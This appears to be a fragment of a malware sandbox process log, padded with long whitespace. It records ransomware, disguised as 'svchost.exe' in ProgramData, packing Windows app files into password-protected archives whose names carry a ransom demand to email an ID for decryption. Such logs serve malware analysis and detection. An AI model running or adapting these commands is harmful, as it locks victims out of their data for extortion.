                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireLargeTile.scale-125.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireLargeTile.scale-125.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireMedTile.scale-125.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireMedTile.scale-125.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireSmallTile.scale-125.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireSmallTile.scale-125.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireWideTile.scale-125.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\MicrosoftSolitaireWideTile.scale-125.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\SplashScreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-125_8wekyb3d8bbwe\Win10\SplashScreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireLargeTile.scale-200.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireLargeTile.scale-200.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireMedTile.scale-200.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireMedTile.scale-200.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireSmallTile.scale-200.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireSmallTile.scale-200.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireWideTile.scale-200.jpg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireWideTile.scale-200.jpg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\SplashScreen.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\SplashScreen.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\LockScreenLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\LockScreenLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
